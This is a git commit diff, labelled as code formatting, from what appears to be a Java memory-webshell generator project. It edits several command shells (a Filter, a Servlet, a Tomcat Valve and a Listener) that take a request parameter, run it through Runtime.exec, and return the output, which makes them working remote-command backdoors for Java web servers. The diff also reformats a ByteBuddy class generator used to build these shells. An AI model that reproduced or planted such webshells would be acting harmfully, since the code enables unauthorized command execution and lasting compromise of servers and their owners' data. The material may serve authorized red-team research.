refactor: format code

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -27,10 +27,16 @@ public class ListenerGenerator {
                 .name(newClassName)
                 .visit(new AsmVisitorWrapper.ForDeclaredMethods()
                         .method(named("getResponseFromRequest"),
-                                new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
+                                new MethodCallReplaceVisitorWrapper(
+                                        newClassName,
+                                        Collections.singleton(ShellCommonUtil.class.getName()))
+                        )
+                )
                 .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
                 .make()) {
-            return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
+            return unloaded
+                    .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
+                    .getLoaded();
         }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

@@ -23,7 +23,6 @@ public class CommandFilter implements Filter {
         HttpServletRequest servletRequest = (HttpServletRequest) request;
         HttpServletResponse servletResponse = (HttpServletResponse) response;
         String cmd = servletRequest.getParameter(paramName);
-        try {
         if (cmd != null) {
             Process exec = Runtime.getRuntime().exec(cmd);
             InputStream inputStream = exec.getInputStream();
@@ -33,13 +32,10 @@ public class CommandFilter implements Filter {
             while ((length = inputStream.read(buf)) != -1) {
                 outputStream.write(buf, 0, length);
             }
-            } else {
+            return;
-                chain.doFilter(servletRequest, servletResponse);
         }
-        } catch (Exception e) {
         chain.doFilter(servletRequest, servletResponse);
     }
-    }
 
     @Override
     public void destroy() {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         return null;
     }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

@@ -22,7 +22,6 @@ public class CommandServlet extends HttpServlet {
 
     @Override
     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
-        try {
         String cmd = request.getParameter(paramName);
         if (cmd != null) {
             Process exec = Runtime.getRuntime().exec(cmd);
@@ -34,7 +33,5 @@ public class CommandServlet extends HttpServlet {
                 outputStream.write(buf, 0, length);
             }
         }
-        } catch (Exception ignored) {
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

@@ -41,7 +41,6 @@ public class CommandValve implements Valve {
 
     @Override
     public void invoke(Request request, Response response) throws IOException, ServletException {
-        try {
         String cmd = request.getParameter(paramName);
         if (cmd != null) {
             Process exec = Runtime.getRuntime().exec(cmd);
@@ -54,8 +53,6 @@ public class CommandValve implements Valve {
             }
             return;
         }
-        } catch (Exception ignored) {
-        }
         this.getNext().invoke(request, response);
     }
 }